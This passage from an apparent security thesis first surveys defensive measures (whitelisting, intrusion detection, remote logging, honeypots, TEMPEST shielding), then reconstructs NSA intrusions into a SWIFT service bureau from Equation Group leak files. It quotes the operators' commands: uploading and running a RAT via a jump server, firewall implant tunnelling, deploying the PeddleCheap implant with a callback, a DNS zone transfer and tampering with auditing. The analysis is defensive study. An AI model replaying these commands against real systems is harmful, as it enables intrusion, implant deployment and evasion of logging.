reduces the likelihood that bugs will be found in a section of code with the elevated
privileges. The authors implemented privileged separation in OpenSSH and performed
an analysis of past bugs which showed that bugs occurring in the unprivileged code would
have been prevented from gaining super-user privileges that the privileged code runs with.
Android Security Frameworks
More recently, Bugiel et al. (2012) described the existing security mechanisms in Android
version 2 as well as other previously proposed security extensions. They also introduced
their own security framework which defends against both confused deputy and collusion
attacks where malicious applications cooperate by combining their privileges to breach
their initial limits. The authors state that their framework is based on prior OS security
research on concepts, e.g., stack inspection and Chinese-walls.
2https://lkml.org/lkml/2018/12/7/345
3https://securelist.com/expensive-gas/83542/
4https://www.shodan.io
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The Android security philosophy is described by Backes et al. (2014) as sandboxing each
app and running it with unique user IDs with private data directories on the ﬁle-system.
To support the least privilege principle, each app is granted permissions or privileges by
the user when it is installed. These privileges are enforced at either the kernel, when the
app makes system calls, e.g., ﬁle-open, or via the Android API.
6.2.2 Encryption
Encryption can be put to multiple purposes, including ensuring conﬁdentiality and in-
tegrity. These properties can prevent certain classes of attacks; for example, by ensuring
conﬁdentiality and integrity of the communication a secure shell or HTTPS session cannot
be intercepted in transit and a MITM attack is prevented.
End-to-end encryption is particularly eﬀective and is recommended by CIA (2015). This
bodes well for end-to-end encrypted chat software as only the end devices can decrypt the
message. This forces the attackers to go after the devices themselves to obtain the data
while it is not encrypted, such as when stored on an unencrypted phone or in the case of
WhatsApp, backups to Google drive (WhatsApp Inc., 2018).
Encryption is also useful to prevent loss of conﬁdentiality for data at rest, which in-
cludes encrypting backups, ﬁles, volumes and whole disks. This increases the diﬃculty
for attackers, since an encrypted hard drive forces attackers to gain physical access to the
machine and modify it to be able to record the key when it is next entered by the user
(Tereshkin, 2010).
Well implemented and properly used encryption makes attackers have to work harder to
gain unauthorised access to information. They have to resort to compromising the end
devices or obtaining the data from another source, e.g., an unencrypted backup, rather
than intercepting the encrypted message in transit.
6.2.3 White-listing the Good
In contrast to black-listing which speciﬁes types of activity that are not allowed, white-
listing is the process whereby known good activity is explicitly allowed. This is often
coupled with a default or implicit deny all rule which prevents any activity other than
that which is white-listed.
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Networking
In the networking domain frequent use is made of white-listing. This is performed by
ﬁrewalls which maintain access control lists of permitted destination and source IPs.
These rules are further reﬁned by port numbers, network traﬃc type, and so on.
Furthermore, networks can be segmented and access to these segments can be controlled
based on the groups or lists to which the requesters belong (Cisco, 2016).
Files
File-system access control lists are available to OSes such as Windows, Unix and Linux
to control who has what access to various ﬁles. However, attackers are able to leverage
existing application or user access to create ﬁles.
Employing tools such as Tripwire, which inventory the ﬁle-system and monitor for
changes to these ﬁles so that they no longer match the checksums in its database, is
a powerful way to deny attackers the freedom to create ﬁles for their own purpose.
Applications
Application whitelisting is eﬀective in preventing malware to be installed or executed on
systems (Gates et al., 2012). Cooprider (2016) writes that OS vendors for Windows via
Applocker, Linux via SELinux, Android also via SELinux and Apple devices via AppStore
all use white-listing to enhance security. Once this control is in place on endpoints it needs
to be maintained and monitored either via a commercial solution of a combination of open
source integrations, logging systems, automation tools and visualization platforms.
Being able to exercise application control, in other words, white-listing applications, allows
defenders to control their computing environment to a large degree. This limits the options
available to attackers forcing them to only use functionality provided by OS components
and applications that are already installed.
System Calls
OpenBSD has a number of mitigation systems built into it. Chirgwin (2017) writes that
one such system is Pledge (formerly Tame) which allows programs to specify to the kernel
what system call operations they require. The kernel can then kill such programs if they
attempt to make use of unspeciﬁed system calls. Other OSes have their own mechanisms
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to restrict system calls for applications. For example Linux has seccomp which limits the
syscalls that a process can use (Kim and Zeldovich, 2013). This is helpful for mitigating
against attackers gaining control of an application as they are then limited in what system
calls they can use.
Processes
RATs such as noserver are uploaded, started on a system and then remain running. Base-
lining system processes and then conﬁguring a tool similar to Tripwire but that would
ensure only white-listed processes are running would make it much harder for attackers
by forcing them to inject code into already running processes.
6.3 Detecting the Undetectable
Attackers will attempt to hide their actions, e.g., hiding their malware in slack space or
with ﬁles and encrypting or disguising their network traﬃc to appear innocuous. This
section suggests some methods to detect attackers if they succeed in penetration, network
traversal or exﬁltration.
6.3.1 Intrusion Detection System
A host based intrusion detection system provides real-time monitoring of computer activ-
ity that can be used to detect (attempted) unauthorized access (Rowland, 2002). Network
intrusion detection systems examine network protocols, ports, and IP addresses, amongst
others, by matching signatures of known attacks or detecting anomalies (Garcia-Teodoro
et al., 2009).
As networks are external to the systems that they connect, e.g., clients and servers, they
can see traﬃc being sent and received that the compromised systems might not be able
to see. Attackers are aware of this potential and the CIA (2015) cautions its developers
against custom or broken implementation of protocols as these are easily detected by an
IDS.
Even if the traﬃc is undecipherable due to being encrypted, it is still possible to determine
the IP address of the command and control server (Jacob et al., 2011). Examining such
meta-data via IDS/IPS can provide useful information for defenders to identify otherwise
hidden communication by attackers.
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6.3.2 Intrusion Prevention System
An IPS diﬀers from an IDS in that it takes action to prevent intrusion rather than merely
detecting it (Jackson, 2008). The eﬀorts of attackers to compensate for IDS and IPS by
testing whether these detect their attacks indicate the challenges posed by these tools
to attackers. Introducing custom rule-sets and signatures allows for defenders to have
defences that attackers have not been able to defeat.
6.3.3 Logging to Remote System
Attackers need to be careful of targeting systems that have remote logging enabled5 unless
they already control the remote log destination system6. This implies that remote logging
is a powerful deterrent and that remote syslog destination servers are high value targets
that themselves need to be secured and protected.
6.3.4 Monitor for Changes in Open Ports
In order to defeat time-based opening of ports for RATs, the list of open ports on a system
can be base-lined and then monitored for changes in order to raise alarms. This can be
incorporated into an IDS system such as Wazuh7.
6.3.5 Database Auditing
Five components of database auditing are listed by Barnes and Director (2011) as access
and authentication, database user actions, administrator actions, monitoring for attempts
to exploit known vulnerabilities and threats, and changes to the database conﬁguration
baseline.
Database auditing is a barrier to attackers that they seek to disable8 and if it cannot be
disabled then it can stop the attackers from proceeding.
5https://github.com/adamcaudill/EquationGroupLeak/blob/master/Firewall/SCRIPTS/
TURBO_install-new.txt
6https://github.com/adamcaudill/EquationGroupLeak/blob/master/Firewall/SCRIPTS/
sampleman_commands.txt
7https://wazuh.com/
8https://github.com/misterch0c/shadowbroker/blob/master/windows/Resources/Ops/
PyScripts/database/oracle.py
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6.3.6 Honeypots
A honeypot is a system that gathers information about attacks when attackers interact
with it. Spitzner (2003) suggests using such systems, honeynets, i.e., networks of honey-
pots, and honeytokens like database records, access credentials and oﬃce documents, to
detect the insider threat.
Due to their ﬂexibility, honeytokens can be employed in a multitude of ways. By including
these and/or honeypots and/or honeynets inside the network, external attackers who have
penetrated the perimeter security may be discovered when they access the aforementioned.
6.4 Preventing Circumvention of Defences
Given that attackers will seek to circumvent defences, this section highlights two consid-
erations that can be employed to prevent this.
6.4.1 Avoiding Side Channel Attacks
Avoiding side channel attacks requires careful design that prevents the transmission of
information as energy that can be detected, e.g., a Hardware Security Module, or the
storage of data, as in a cache, that cannot be accessed or deduced by a separate process
to forestall attacks like Spectre from becoming possible.
6.4.2 Externalising Defences
The limitations of SeaPea (see Subsection 4.3.1) demonstrate an example of externalised
defences being able to detect a rootkit. The rootkit needs to be active to hide its activities
and those of its client applications. This indicates that unless attackers practice good
OpSec they can be discovered.
Attackers will readily cover their tracks by disabling defences or deleting the information
that they produce once they have compromised the system; for example, those created
by database auditing and core ﬁles.
The technique of removing the defence out of the domain that it is protecting can prevent
the attacker from doing this. A typical example of this is remote syslog. A virtualised
system whose ﬁle-system is monitored from the host system is less so. This could be
employed to monitor production or honeypot systems for penetration.
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Malware writers already attempt to detect if they are in a virtualised environment to
frustrate RE. However modern computing is turning to virtualisation and containerisation
so this is largely a moot point.
6.5 Tempest
This section presents various countermeasures that can be used to mitigate the problem of
information leakage by electromagnetic emanations either in conjunction with or instead
of implementing red/black zones9.
6.5.1 Soft Fonts to Prevent Eavesdropping
A software defence against having electromagnetic radiation from video display units is
provided by Kuhn and Anderson (1998). The method entails using a Fourier transform to
ﬁlter (i.e. remove) the top 30% of the horizontal frequency spectrum. The authors state
that this causes the eavesdropping device to fail to display the text that it could prior to
the ﬁlter being applied.
6.5.2 Countermeasures for USB Connector Radio Frequency Emis-
sions
Three countermeasures against USB connectors being used as RF transmitters are de-
scribed by Guri et al. (2016). The ﬁrst is a procedural countermeasure of using zones to
keep sensitive computers physically separate from other electronics. The second is soft-
ware, such as where patterns of reads and writes belonging to a process are monitored by
anti-virus or IDS software. Lastly, the authors describe a physical method of including
shielding, grounding and limiting the emissions that a USB connector can emit during its
design.
6.5.3 Countermeasures for Video Connector Radio Frequency Emis-
sions
After having demonstrated how to recreate a retro-reﬂector that is the NSA RageMaster,
GBPPR (2014) shows that RF absorbing foam can attenuate the radar carrier signal
9http://cryptome.org/tempest-2-95.htm
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being used to exﬁltrate the information from the bug. Although expensive, this material
causes the eavesdropper to need to be closer in order to monitor the weaker signal. The
author also proposes using ferrite containing absorbent material. Other types of radiation
absorbent material10 may also be employed to achieve the same eﬀect.
6.6 Interception
Interception involves the attacker listening or reading the communication taking place
between the sender and the receiver. Attackers can also place themselves between the
receiver / sender pair, and listen to, possibly modify and retransmit the messages to the
receiver to eﬀect a MITM attack.
6.6.1 Detecting and Preventing Man in the Middle Attacks
One key factor in detecting MITM attacks is to be able to verify the identity of the
device being communicated with, such as a web server, wireless AP or cellular phone base
station. The identity of web servers on the Internet is commonly veriﬁed by certiﬁcates
issued by certiﬁcate authorities which are trusted by client web browsers. This approach
could potentially be reused for base stations and APs.
Detecting IMSI-catchers is possible and numerous applications, including for smartphones,
exist to do this. However, Park et al. (2017) write that the ﬁve applications they tested
only monitor for certain patterns of behaviour of IMSI-catchers and that many of these
can be circumvented.
If the attacker can control the response to DNS requests, e.g., with Quantum-DNS as
described by NSA (n.d.) or by being able to issue certiﬁcates for the domain that the
target is attempting to visit, then it can render TLS/SSL unable to prevent the attack.
However, as stated by Haagsma (2015) it is possible to detect the quantum insert attack
by looking for packets that have the same sequence number but diﬀerent payloads. The
author states that Suricata was able to detect such duplicate packets and patches were
made to the Snort IDS which enabled it to do the same. The author however cautions
that it is possible to evade this detection method by spooﬁng a FIN packet after the
inserted packet to end the session before the authentic packet arrives.
10https://en.wikipedia.org/wiki/Radiation-absorbent_material
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6.6.2 Encryption
The increased adoption of encryption technologies such as TLS(SSL) and IPsec hampers
the ability of attackers to monitor Internet activity and collect meta-data (NSA and
GCHQ, 2011). This suggests that increased adoption of encryption will frustrate the
eﬀorts of attackers to gain information of their targets during reconnaissance.
One aspect of network communication that leaks information even when encryption is
being used for requesting and receiving content is the DNS requests that are sent and
answered in plain text (Dickinson, 2018a). There are two IETF RFCs which ensure
privacy of DNS requests and prevent eavesdropping. The ﬁrst is RFC7858, DNS-over-
TLS (DOT), which has been published and RFC8094, DNS-over-DTLS, which is described
but is not yet a published speciﬁcation (Dickinson, 2018b).
The use of encryption to safeguard data and meta-data such as DNS from attackers
mitigates against MITM and man-on-the-side attacks.
6.7 Location Finding
Location ﬁnding entails being able to identify and measure a signal to determine its
bearing and distance. Removing chances for the attacker to do so increases the diﬃculty
of determining a victim's location.
6.7.1 Fundamental Weakness of Broadcasting
When a cellular phone broadcasts to ﬁnd a base station or a WLAN card checks to see if
APs that is knows of are present, then these devices are advertising their presence to all
and sundry.
One way to prevent the phone having to announce its presence is to reverse the process
so that the base station or AP announces its presence to any device in range. At the
same time the base station or AP can prove its legitimacy, by for example, key-signing or
signed certiﬁcates so that end user devices do not connect to impersonated base stations
or APs.
For existing network generations that use symmetric cryptography, van den Broek et al.
(2015) propose using temporary random pseudonym IMSIs (PMSIs), issued by the net-
work operator, in place of the IMSI to identify the end user device to the network. For
future generations the authors write that asymmetric cryptography would protect the
IMSI.
6.8. GOING ON THE OFFENSIVE 90
6.8 Going on the Oﬀensive
In addition to monitoring to detect the attacks, defenders can take further steps to stop
attackers and cause them to incur additional costs.
6.8.1 Preventing Communication
Preventing Internet access seems key to blocking the malware's ability to phone home
or receive instructions. Careful network segmentation, deployment of proxy servers and
monitoring machines for outbound traﬃc seem useful mechanisms for obstructing such
communications. While malware can use proxy servers to communicate and exﬁltrate
data, such conﬁgurations oﬀer an obvious choke point at which to implement network
management controls. Attackers can also use encryption, e.g., with Aeris, but they still
need to communicate with systems on IP addresses and port numbers.
6.8.2 Incident Response
Having established procedures and the capability to respond to an incident and collect
evidence allows for the organisation to react quickly and not lose important information
regarding the attack.
6.8.3 Obtaining Copies of Memory
NSA (2010) writes that when the attack against the Solaris RPC service does not succeed
and thus prevents the attacker from removing the core ﬁles, the attack should be rerun
with a random payload in place of the original shell-code in an attempt to overwrite
the core ﬁle created by the OS. However, it is possible to conﬁgure core ﬁles to include
timestamps in their ﬁle names11 resulting in a separate ﬁle per occurrence which would
make them far harder to overwrite.
Core dumps capture the memory contents of the process being dumped, including stack,
heap and shared memory as well as the contents of the processor's registers. Core dump
generation by the Solaris OS is typically triggered by signals, either when a process ac-
cesses a memory address that is invalid (SIGSEGV) or is not in accordance with CPU
11https://docs.oracle.com/cd/E19850-01/820-0437/cores-on-solaris/index.html
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alignment rules on SPARC processors (SIGBUS), or when a ﬂoating-point exception oc-
curs (SIGFPE)12.
On Linux 2.413 there are ten signals plus two synonyms that result in a core dump being
generated, namely SIGQUIT, SIGILL, SIGABRT / SIGIOT SIGFPE, SIGSEGV, SIG-
BUS, SIGSYS / SIGUNUSED SIGTRAP, SIGXCPU and SIGXFSZ. For more information
refer to Appendix B.8.
Testing by sending one of the signals to a process, results in that process generating a
core dump ﬁle. This raises the option of automatically sending SIGTRAP or one of the
other signals mentioned above to core dump the memory of a process that is suspected
of being compromised.
Core dumps can also be due to software or hardware faults as explained by Wragg (2018).
Due to multiple possible causes of core dumps it is necessary to investigate and ﬁx the
software and hardware causes of them so as not to lose sight of signs of malicious activity.
6.8.4 Obtaining Copies of Malware
Baecher et al. (2006) write that collecting malware using honeypots allows for it to be
investigated which provides the ability to defend against it and similar exploits. This can
be eﬀected by improving IDS and AV signatures.
When applied to zero-days, this allows defenders to obtain the attacker's zero-day exploits.
The malware can be reverse engineered to reveal the exploit. By making this known to
the software vendor, patches can be developed which render the zero-day useless.
6.8.5 Deny Information and Alarm
Denying attackers information about a system and alarming on attempts to gather this
information, are useful techniques. When accessed by the attacker, honey tokens raise the
alarm of malfeasance. Virvilis et al. (2014) suggest numerous honey tokens, such as DNS
tokens, fake user accounts, honey nets and ﬁles. Supplying false information provides the
opportunity to mislead the attacker. For example, Avery (2017) discusses the impact of
deceptive software security patches on attackers, who seek to determine the exploit by
reverse engineering them, ﬁnding that defenders are able to enhance security by increasing
the attacker's workload and gathering information on their methods.
12http://www.oracle.com/technetwork/server-storage/solaris/manage-core-dump-
138834.html
13Linux Man page: man -s 7 signal
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6.9 Understanding the Opponent's Techniques
Knowing that your opponent can employ obfuscation techniques should caution defenders
in attributing malware to the seemingly obvious source provided by tools such as Marble
Framework, discussed in Subsection F, or its equivalent.
When attackers seek to not leave a disk footprint, as documented in (CIA, 2015a), turning
to dynamic memory analysis is a good option for attempting to analyse malware. This
would also point to software based detection methods needing to shift focus from scanning
ﬁles residing on permanent storage to monitoring the contents of system memory.
Attackers may also seek to wipe the area of memory that held the malware payload (CIA,
2014). Being able to control the state of the machine through the loading and execution
of the payload may aid in its analysis. Being able to pause the execution of the malware,
by using a debugger for example, could negate this tactic.
With the knowledge that malware may seek to delete itself (CIA, 2015) it is advisable
to make use of methods to maintain memory and ﬁle-system contents, e.g., by taking
snapshots of virtual machines known or suspected to be infected.
If SSL/TLS interception is being performed and the data being sent over this encrypted
connection is already encrypted using another method, then an investigation is needed
to determine if this is legitimate or nefarious activity. Similarly, looking for and ﬁnding
unexpected ﬁle-based encryption on disk can be a sign that something is amiss.
Lastly, it is possible that the malware authors have made a mistake or that the defender
or researcher's environment is diﬀerent resulting in artefacts being left behind. Thus, it is
worth looking for stale network connections or checking ﬁles with matching signatures in
the hope that otherwise encrypted ﬁles have headers or footers that match magic numbers
i.e. ﬁle signatures.
6.9.1 Finding Vulnerabilities
Using the same method as per CIA (n.d.a), i.e. running PROCMON to check if applications
are vulnerable to DLL hijacking allows defenders and researchers to ﬁnd which applica-
tions are vulnerable to this class of attack.
Users are advised to scan their information systems for vulnerabilities and ﬁx them. For
any device or application with a web interface, a TLS/SSL scanner14 should be used to
check for weak protocols and ciphers, vulnerabilities and conﬁguration.
14One such command line TLS/SSL encryption checker is testssl.sh https://testssl.sh
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6.10 Summary
This chapter suggested tactics that defenders can employ to detect and deter the tech-
niques and approaches used by attackers.
Defenders can use the same approach as attackers in attacking the indefensible, for exam-
ple, an attacker querying DNS to obtain information which cannot be prevented without
losing the utility of DNS. However, the defenders would be attacking the methods and
techniques of the attackers that they need to use to succeed. For example, while an at-
tacker who needs to exﬁltrate data or communicate between an implanted system and
the command and control system can reduce and encrypt the amount of network traﬃc
or even employ stenography in an attempt to avoid detection, the defender can monitor
for the traﬃc destinations or unusual patterns of network activity.
By preventing direct Internet access and conﬁguring the network to go through a proxy
server, defenders are able to focus their detection eﬀorts, by using an IDS or IPS on the
resultant bottleneck.
Defenders are also capable of placing tripwires or canaries into systems that attackers may
target, such as a DNS entry that when queried sets oﬀ an alarm, or a user account that
when logged into raises an alert. This results in an attacker having to chose to enumerate
the network or access the target data and be detected or avoid doing so and fail to be
able to move laterally or obtain the desired data.
While skillful attackers may adopt techniques to slowly enumerate a network and thus
escape the notice of an IDS or IPS, defenders can take action to cause the attackers to
reveal themselves. For example, by conﬁguring a ﬁrewall to respond to any attempts
to connect to ports that are not open on target IP addresses, the attacker is forced to
validate the service on each of the target IP addresses.
The various types of compartmentalisation used in diﬀerent technology areas, including
memory isolation, Android and containers demonstrate the reuse of concepts from one
area to another. It also shows the architectural nature of such security concepts.
White-lists are a concept used in diﬀerent domains, including networking, ﬁles, applica-
tions, system calls and processes. The enduring nature of this concept and its applicability
to diﬀerent areas indicate that it could be useful for enhancing security in other technology
areas.
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Prevention is not always possible and determined attackers such as Nation State actors
with incredible resources will get in, given enough time. For example the NSA intercepting
hardware shipments and implanting into the equipment inspired Swierczynski et al. (2017)
to interdict a high security USB ﬂash device by manipulating its FPGA.
Mitigation is the next best thing to prevention: making it harder so that eventually it
is not worth the eﬀort for the attacker. The ﬂip side to making it harder is that the
attackers will ﬁnd the easiest way in, that is, they will attack the weak points. As such
there is no point in having superior physical security but poor technological security or
weak human security.
Putting in place processes and standard operating procedures for people to follow, e.g.,
calling IT security or their superior when someone is trying to get them to do something
outside of the norm, gives them an escape route from at least some social engineering
attacks. Increasing the chance of being discovered could also dissuade attackers.
One tactic that can be employed is to force attackers to risk their zero-day exploits that
are expensive to research and develop. For example, it would be possible to automatically
copy core ﬁles to a heavily secured remote server in the same way as a remote syslog
server to prevent attackers from removing them. The core ﬁles could then be analysed to
provide insight into the attacker's exploitation methods.
Another tactic is to feed attackers misinformation to direct them toward honeypots where
their attacks can be collected and reverse engineered to understand their methods and
techniques.
Defenders can modify their information system landscape by making architectural design
choices which improve security. The defender can use multiple layers of the same control
to achieve defence in depth and can also use diﬀerent types of controls to achieve breadth
in their defence. Combining the two increases the number and the variability of the
defences that the attackers must overcome, slowing them down and increasing the chance
of detection before they reach their target.
Some of these defenses are examined in the case study in the next chapter.
Chapter 7
Case Study:
SWIFT Network Attacks
This chapter presents a series of attacks against the network and information systems of a
ﬁnancial institution by the NSA. The sequence of events that took place was reconstructed
by reviewing a total of 70 ﬁles. To aid understanding an overview with a timeline of the
SWIFT network penetrations was created and is presented ﬁrst.
After the overview, each of the six penetrations are presented in turn and some suggested
defences from Chapter 6, that would have helped to detect, prevent, halt or otherwise
mitigate the attack, are considered.
7.1 Overview of SWIFT Network Penetrations
One of the revelations from the Equation Group leaks was the hack of the SWIFT network
in the Middle East and Belgium (NSA, 2013c). Examining these ﬁles provides insight into
not only the technical means used to gain access, but also the procedures used to gain a
foothold and control of the network.
DSquery was run multiple times to extract information from the domain. Pecoraro (2013)
provides the results of such queries for the Belgium, Dubai and Egypt networks as well as
the Exchange mail servers and end user computers. There are 32 conﬁguration ﬁles for
network devices including VPN (ASA, PIX, Router), ﬁrewall and network switches.
DSquery is a core part of how a Microsoft AD network works. This allows attackers to
survey the network using built in functionality. Monitoring for suspicious DSqueries, e.g.,
a query for all computers, could allow for the alarm to be raised.
As further evidence of the extent of the network compromise there are numerous ﬁles
which detail the network design and conﬁguration of the various networks components
of the targeted organisation, e.g., Dubai, Pakistan, Bahrain and Jordan, and how these
connect to each other via VPNs. This was broken down into datacenter, ﬁrewall and
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internal networks. Special attention was paid to the conﬁguration of the Cisco ASA,
Juniper SSG and Nortel Contivity devices which provide network security services such
as VPN and ﬁrewall.
The author includes a list of 34 computers onto which implants had been loaded and
another list of 11 computers that had beacons installed on them. All the computers were
running Windows OSes.
Indications that the SWIFT organisations were being targeted to gain ﬁnancial informa-
tion are supported by a document1 listing all the SWIFT Alliance Access (SAA) servers
that allow for the creation, monitoring and routing of FIN2 messages. This is conﬁrmed
by two documents from Pecoraro (2013) listing the same SAA servers with their respective
bank names with a status of implanted and collecting.
One of the network diagrams3 detailed how "Fin traﬃc" was to be exﬁltrated from the
compromised network using a system in the management network and out through the
ﬁrewalls compromised with BananaGlee and VPN network devices compromised with
BarGlee. Pecoraro (2013) adds that the VPN devices were planned to be implanted with
ZestyLeak.
The systems on the network were surveyed and the following categories of information were
collected (Pecoraro, 2013): IP addresses and host names together with MAC addresses
and descriptions to identify the systems. Additional information included OS, installed
software, notes and whether masquerade was true. Security centric information included
if PSP software was installed, what implant was installed and what trigger was available
together with vulnerabilities, keys and credentials.
The attackers performed two DNS Zone transfers one week apart, providing a list of
hundreds of systems:
run -command "c:\windows\system32\dnscmd.exe 127.0.0.1 /enumrecords eastnets.com @"
-redirect↪→
Disabling and/or monitoring DNS zone transfers would prevent the attack or notify de-
fenders of it.
1https://github.com/adamcaudill/EquationGroupLeak/blob/master/swift/list_of_saa_
servers_8May2013.xlsx
2https://www.swift.com/our-solutions/global-financial-messaging/fin
3https://github.com/nixawk/Equation_Group_Hacking_Tools/blob/master/swift/JF_M%
20FIN%20Exfil.vsd
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Figure 7.1: Timeline of SWIFT EastNet intrusions
Pre-written SQL queries were used to extract data from the SAA databases. These are
examined in detail in Section E.1.
There are ﬁve text ﬁles containing terminal session logs with each documenting a session
of cracking as part of the Jeepﬂea Market project. These attacks took place over more
than a year as per Figure 7.1.
Analysing these ﬁles revealed that the attacks were performed via third party systems
all over the world. Typically, these Unix servers are unrelated to the target which was
running Windows. A network tunnel was set up between this third party jump server
and the target system. This would serve to disguise the true source of the attack. The
attacks appeared to be automated / scripted as they follow the same pattern each time.
Free text comments reveal that these prepared techniques do not always work but the
operators are not able to deviate from them.
7.2 First Penetration
The ﬁrst penetration began on 2012-07-02 at 19:10:51 UTC when the attacker used the
ourtn Perl script to connect to a jump server in Kazakstan, ns.itte.kz (212.19.128.4),
upload the noserver RAT and execute it with a random port while using tipoﬀ to transmit
the UDP trigger to DewDrop. For details of the command options see Listing C.1.
ourtn -Y5eU /current/up/noserver-x86sol2.8 -wBIN 163.22.20.4
Then the attacker used the tunnel utility to connect to the target Firewall / VPN de-
vice, ensbdvpn1.festivalcity.net.ae (80.227.254.202) before creating network tunnels on the
Juniper SSG500 Firewall / VPN device with Bliar:
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./BLIAR-2110 --lp 127.0.0.1 --implant 127.0.0.1 --idkey
/current/bin/FW/OPS/jeepflea_market_80.227.254.202.ssg500.6.2.0r6.0.1341250568.key
--sport 21385 --dport 12742
↪→
↪→
Firewall to Target Packet Target to Firewall Packet
Source IP : 192.168.206.4__ Source IP : 192.168.206.110
Dest IP : 192.168.206.110 Dest IP : 192.168.206.4__
Listing 7.1: Bliar command used to compromise Juniper SSG500.
In this case the attacker used a zero-day exploit to compromise the perimeter defence.
Multiple ﬁrewalls in series with monitoring of the traﬃc from the ﬁrst ﬁrewall with a des-
tination of (not via) the second ﬁrewall combined with external monitoring of the ﬁrewall
devices could have alerted the defenders to the attack while segmenting the network would
have caused the attackers to have to eﬀect additional compromises and slowed them down.
The Bliar command with target speciﬁc options was generated using the BG User script4
for the user to copy and paste into the terminal window:
echo "Here is your LP line to paste."
if [ "$USE_BLIAR" = "YES" ]; then
echo "./BLIAR-2110 --lp $_LP1 --implant $_Implant1 --idkey /current/bin/FW/OPS/$_Key1
--sport $_Source1 --dport $_Dest1"↪→
Listing 7.2: BG User script creating Bliar command string.
The attacker ran ScrubHands v6.006000029 (suite v6.6.0.29 run in /192.168.254.71) com-
mand line:
/usr/local/bin/scrubhands -t -S 12062912151349 -I 28366 -p JEEPFLEA_MARKET
-n 69.64.44.50,69.64.44.20 69.64.59.133
These ScrubHands options specify to use the FG ops disk, set the Schedule ID (beginning
with YYMMDD), set the ﬁve digit UID of the operator, the project name and the comma
separated domain name servers followed by the local IP address. For the ScrubHands
command line options please see Listing C.2.
The tunnels previously set up on the Firewall / VPN device, took the attacker to a Win-
dows server, ensbdmgmt1.eastnets.com (192.168.206.110) via the use of CordialFlimsy
as seen in Listing C.3.
4https://github.com/adamcaudill/EquationGroupLeak/blob/master/Firewall/OPS/
userscript.FW
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Monitoring for these triggers as they traverse the network with their unusual (not required)
destination network ports or payloads would be a possible method of detecting the attack
while in progress.
The attacker also reached another Windows server, ensbdsl1.eastnets.com (192.168.200.51)
where the PeddleCheap implant was deployed and successfully called back:
8:14 PM 7/2/2012 - putting egg up on targ
put D:\Logs\jeepflea_market\z0.0.0.1\Payloads\PeddleCheap_2012_07_02_20h00m10s\
PC_Level3_exe.configured -name \\192.168.200.51\C$\windows\syswow64\mshta64.exe
-permanent↪→
scheduler -add 2 C:\windows\syswow64\mshta64.exe -target 192.168.200.51
8:16 PM 7/2/2012 - BOOM!, got the callback
This implant involved writing to the ﬁle-system, which, if monitored or protected, e.g., via
ﬁle-system white-listing, would have provided a chance to detect or stop this portion of the
attack. This approach is so successful that attackers have been moving to scripted or in
memory attacks to circumvent these measures.
An inventory of the software and services running on the server was performed and the
security auditing was tampered with according to the note:
8:23 PM 7/2/2012 - Security auditing has been dorked.
While it would be next to impossible to prevent an attacker from reading the list of installed
software and running services without hampering the functioning of the server, monitoring
and alarming on any changes to the disk or in memory conﬁguration of auditing and other
security measures, e.g., ﬁrewalls, would make it harder for attackers. This does tend
towards the problem of "who watches the watcher" or "it is turtles all the way down".
The attacker attempted to install the KISU and FLAV implants:
9:06 PM 7/2/2012 - trying to install with KISU and FLAV
However, the installation continued to fail as documented by the entries:
9:20 PM 7/2/2012 - install failed :
* File: D:\DSZOPSDisk\Resources\Pc\Scripts\Install\winnt\_Install.dss | Line: 354
* Script terminated while running IF
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As a result the attacker gave up:
9:29 PM 7/2/2012 - cutting my losses, q&d
Although the attacker failed to install the implants, if a ﬁle-system auditing tool such as
Tripwire had been installed, it would have been possible to detect the changes made during
the installation attempt and raise the alarm.
7.3 Second Penetration
The second penetration of the target network took place on 2012-11-07 at 05:15:23
and much like the previous network penetration, the attacker used the ourtn utility
to connect to a foreign jump server, this time in Japan sunblade.kouku-dai.ac.jp
(202.145.16.4).
This demonstrates that blocking IP address ranges by country does not stop a determined
attacker. The attacker need only conduct the attack by a machine in another non-blocked
country. With the rise of cloud computing providing cheap or even free systems, the
attacker need not even create and maintain a collection of pre-compromised systems to
serve as a cut-out.
On this occasion Scrubhands was used by a diﬀerent operator using a diﬀerent local IP
and DNS server:
/usr/local/bin/scrubhands -t -S 12110110015132 -I 57728 -P JEEPFLEA_MARKET
-n 198.6.1.3 65.218.69.150/224/129
The speciﬁed DNS server IP address is again a publicly accessible one that, like the
local IP of the ISP being used, diﬀers from the previous and subsequent attempts. The
attackers were taking steps to prevent detection and attribution. This calls into question
the usefulness of blocking based on IP ranges. Traﬃc content and destination IP addresses
and ports of the defender's network may be more useful for detecting unauthorised access
than the origin of the network traﬃc.
To get onto the Windows server, endxbmail001 (192.168.1.3), the attacker triggered
CordialFlimsy as shown in Listing C.4. This server was running Kaspersky PSP which
prevented the installation of ZB as shown in Listing C.8. This demonstrates the value of
running PSP software.
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If the defenders had been running a honeynetwork and honeypots they would have been in
a position to capture the attacker actions to scan and traverse the network and possibly
the techniques used to access the computers systems.
The attacker then moved on to the second target:
5:54 AM 11/7/2012 Redirect to target 2
monitor packetredirect -listenport 444
imr 127.0.0.1 2143 2143
To get onto the second Windows server store (10.10.10.180), CordialFlimsy was triggered
again by the attacker to reach it as shown in Listing C.5.
Once again this type of lateral movement could have been detected by monitoring for
unusual network traﬃc between systems.
The attacker noted that auditing was still ON, that conﬁcker was still on the target before
checking that the logs were clean:
6:14 AM 11/7/2012 Auditing:ON - not dorked
6:22 AM 11/7/2012 conficker still on target
6:18 AM 11/7/2012 checking logs - we are clean
The attacker proceeded to successfully upgrade the Flav implant with Kisu and SolarTime:
6:38 AM 11/7/2012 need to upgrade to FLAV w/KISU and SOLARTIME
7:14 AM 11/7/2012 flav install test ... WOW it worked.
And then used the scansweep tool to run a netmap of the 10.10.10.* IP range of end user
computers:
1 7:35 AM 11/7/2012 Run a netmap to find targets of interest
2 ** Want Sanam Mirchandi if possible, otherwise just an additional UR in the 10.10.10.X
subnet↪→
3 scansweep -type arp -target 10.10.10.1-10.10.10.254 -period 3s-7s
This network scan represents one of the opportunities for a network IDS to have detected
the attack. The attackers were attempting to remain undetected as Scansweep's purpose
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is to allow for safer than manual scanning of a network range. For an explanation of the
options used please see Listing C.7.
The next Windows workstation that was targeted was endxb-ard (10.10.10.90). The
attacker did not tamper with the auditing but noted that the ﬁrewall was disabled and
downloaded tasking before logging oﬀ the target system:
9:27 AM 11/7/2012 did not dork auditing
9:41 AM 11/7/2012 Memory Load : 68%%
9:45 AM 11/7/2012 firewall Status: Disabled
10:09 AM 11/7/2012 downloaded tasking (~20MB)
10:09 AM 11/7/2012 off target
Either detecting, capturing or preventing network uploads would allow defenders to re-
spectively know about, gain insight or prevent attacker exﬁltration of data. This could be
